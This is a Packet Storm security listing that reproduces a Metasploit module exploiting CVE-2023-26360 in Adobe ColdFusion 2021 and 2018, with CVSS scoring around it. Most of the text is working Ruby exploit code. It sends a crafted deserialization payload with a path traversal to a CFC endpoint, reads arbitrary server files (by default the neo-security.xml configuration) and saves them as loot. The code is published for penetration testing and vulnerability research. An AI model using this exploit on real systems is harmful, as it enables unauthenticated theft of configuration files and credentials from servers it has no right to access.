Lucene search

K
packetstormAndrew, metasploit.comPACKETSTORM:180623
HistoryAug 31, 2024 - 12:00 a.m.

Adobe ColdFusion Unauthenticated Arbitrary File Read

2024-08-3100:00:00
Andrew, metasploit.com
packetstormsecurity.com
24
adobe coldfusion
unauthenticated
arbitrary file read
remote
vulnerability
deserialization
untrusted data
coldfusion 2021
coldfusion 2018
endpoint
method

CVSS3

8.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

AI Score

7.3

Confidence

Low

EPSS

0.964

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Adobe ColdFusion Unauthenticated Arbitrary File Read',  
'Description' => %q{  
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe  
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read  
an arbitrary file from the server.  
  
To run this module you must provide a valid ColdFusion Component (CFC) endpoint via the CFC_ENDPOINT option,  
and a valid remote method name from that endpoint via the CFC_METHOD option. By default an endpoint in the  
ColdFusion Administrator (CFIDE) is provided. If the CFIDE is not accessible you will need to choose a  
different CFC endpoint, method and parameters.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sf', # MSF Module & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-26360'],  
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8500),  
Opt::RHOST('0.0.0.0'),  
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),  
OptString.new('TARGETFILE', [true, 'The target file to read, relative to the wwwroot folder.', '../lib/neo-security.xml']),  
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/CFIDE/wizards/common/utils.cfc']),  
OptString.new('CFC_METHOD', [true, 'The target ColdFusion Component (CFC) remote method name', 'wizardHash']),  
OptString.new('CFC_METHOD_PARAMETERS', [false, 'Additional target ColdFusion Component (CFC) remote method parameters to supply via a GET request (e.g. "param1=foo, param2=hello world")', 'inPassword=foo'])  
]  
)  
end  
  
def run  
unless datastore['CFC_ENDPOINT'].end_with? '.cfc'  
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')  
end  
  
if datastore['TARGETFILE'].empty? || datastore['TARGETFILE'].end_with?('.cfc', '.cfm')  
fail_with(Failure::BadConfig, 'The TARGETFILE must not point to a .cfc or .cfm file')  
end  
  
# The relative path from wwwroot to the TARGETFILE.  
target_file = datastore['TARGETFILE']  
  
# To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters  
# to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.  
if target_file.include? '\\'  
classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{target_file}"  
else  
classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{target_file}"  
end  
  
json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"  
  
vars_get = { 'method' => datastore['CFC_METHOD'], '_cfclient' => 'true', 'returnFormat' => 'wddx' }  
  
# If the CFC_METHOD required parameters, extract them from CFC_METHOD_PARAMETERS and add to the vars_get Hash.  
unless datastore['CFC_METHOD_PARAMETERS'].blank?  
datastore['CFC_METHOD_PARAMETERS'].split(',').each do |pair|  
param_name, param_value = pair.split('=', 2)  
# remove the leading/trailing whitespace so user can pass something like "p1=foo, p2 = bar , p3 = hello world, p4"  
vars_get[param_name.strip] = param_value&.strip  
end  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),  
'vars_get' => vars_get,  
'vars_post' => { '_variables' => json_variables }  
)  
  
file_data = nil  
  
# The TARGETFILE contents will be emitted after the WDDX result of the remote CFC_METHOD. A _cfclient call  
# will always return a struct with a 'variables' key via ComponentFilter.invoke and by selecting a returnFormat of  
# wddx, we know to have a closing wddxPacket to search for. So we search for the TARGETFILE contents after  
# the closing wddxPacket tag in the response body.  
wddx_packet_tag = '</wddxPacket>'  
  
if res && res.code == 200 && (res.body.include? wddx_packet_tag)  
  
file_data = res.body[res.body.index(wddx_packet_tag) + wddx_packet_tag.length..]  
  
# If the default CFC options were used, we know the output will end with the result of calling wizardHash. So we can  
# remove the result which is a SHA1 hash and two 32 byte random strings, comma separated and a trailing space.  
if datastore['CFC_ENDPOINT'] == '/CFIDE/wizards/common/utils.cfc' && datastore['CFC_METHOD'] == 'wizardHash'  
file_data = file_data[0..file_data.length - (40 + 32 + 32 + 2 + 1) - 1]  
end  
else  
# ColdFusion has a non-default option 'Enable Request Debugging Output', which if enabled may return a HTTP 500  
# or 404 error, while also including the arbitrary file read output. We detect this here and retrieve the file  
# output which is prepended to the error page.  
request_debugging_tag = '<!-- " ---></TD></TD></TD></TH></TH></TH>'  
  
if res && (res.code == 404 || res.code == 500) && (res.body.include? request_debugging_tag)  
file_data = res.body[0, res.body.index(request_debugging_tag)]  
end  
end  
  
if file_data.blank?  
fail_with(Failure::UnexpectedReply, 'Failed to read the file. Ensure both the CFC_ENDPOINT, CFC_METHOD and CFC_METHOD_PARAMETERS are set correctly and that the endpoint is accessible.')  
end  
  
if datastore['STORE_LOOT'] == true  
print_status('Storing the file data to loot...')  
  
store_loot(File.basename(target_file), 'text/plain', datastore['RHOST'], file_data, datastore['TARGETFILE'], 'File read from Adobe ColdFusion server')  
else  
print_status(file_data.to_s)  
end  
end  
  
end  
`

CVSS3

8.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

AI Score

7.3

Confidence

Low

EPSS

0.964

Percentile

99.6%